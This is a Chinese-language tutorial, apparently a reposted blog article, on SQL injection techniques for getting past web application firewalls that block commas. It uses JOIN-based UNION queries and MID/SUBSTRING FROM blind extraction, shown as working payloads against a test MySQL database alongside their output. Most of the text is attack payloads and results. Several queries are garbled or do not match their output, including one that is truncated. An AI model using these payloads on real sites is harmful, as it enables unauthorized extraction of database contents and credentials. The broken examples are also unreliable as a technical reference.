SQL注入技巧之顯注與盲注中過濾逗號繞過詳析
阿新 • • 發佈:2020-01-09
前言
sql注入在很早很早以前是很常見的一個漏洞。後來隨著安全水平的提高,sql注入已經很少能夠看到了。但是就在今天,還有很多網站帶著sql注入漏洞在執行。下面這篇文章主要介紹了關於SQL注入逗號繞過的相關內容,分享出來供大家參考學習,下面話不多說了,來一起看看詳細的介紹吧
1.聯合查詢顯注繞過逗號
在聯合查詢時使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位,語句中包含了多個逗號,如果有WAF攔截了逗號時,我們的聯合查詢不能用了。
繞過
在顯示位上替換為常見的注入變數或其它語句
union select 1,3; union select * from ((select 1)A join (select 2)B join (select 3)C); union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),@@datadir))C);
在資料庫中演示聯合查詢
UNION開始是我們在URL中注入的語句,這裡只是演示,在實際中如果我們在注入語句中有逗號就可能被攔截
mysql> select user_id,user,password from users union select 1,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.04 sec)
不出現逗號,使用Join來注入
mysql> select user_id,password from users union select * from ((select 1)A join (select 2)B join (select 3)C); +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
查詢我們想要的資料
mysql> select user_id,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),@@datadir))C);; +---------+-------+-------------------------------------------------+ | user_id | user | password | +---------+-------+-------------------------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | [email protected] dvwa c:\phpStudy\MySQL\data\ | +---------+-------+-------------------------------------------------+ 2 rows in set (0.08 sec)
2.盲注中逗號繞過
MID 和substr 函式用於從文字欄位中提取字元
mysql> select mid(user(),1,2); +-----------------+ | mid(user(),2) | +-----------------+ | ro | +-----------------+ 1 row in set (0.04 sec)
查詢資料庫使用者名稱第一個字元的ascii碼
mysql> select user_id,password from users union select ascii(mid(user(),2)),3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 114 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
盲注,通過猜ascii值
mysql> select user_id,password from users where user_id=1 and (select ascii(mid(user(),2))=115) ; Empty set mysql> select user_id,2))=114) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.04 sec)
逗號繞過SUBTTRING 函式
substring(str FROM pos)
從字串str的起始位置pos 返回一個子串
mysql> select substring('hello' from 1); +---------------------------+ | substring('hello' from 1) | +---------------------------+ | hello | +---------------------------+ 1 row in set (0.04 sec) mysql> select substring('hello' from 2); +---------------------------+ | substring('hello' from 2) | +---------------------------+ | ello | +---------------------------+ 1 row in set (0.03 sec)
注入
mysql> select user_id,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; Empty set //substring(user() from 2)為o //o的ascii為111, mysql> select user_id,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.03 sec)
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對我們的支援。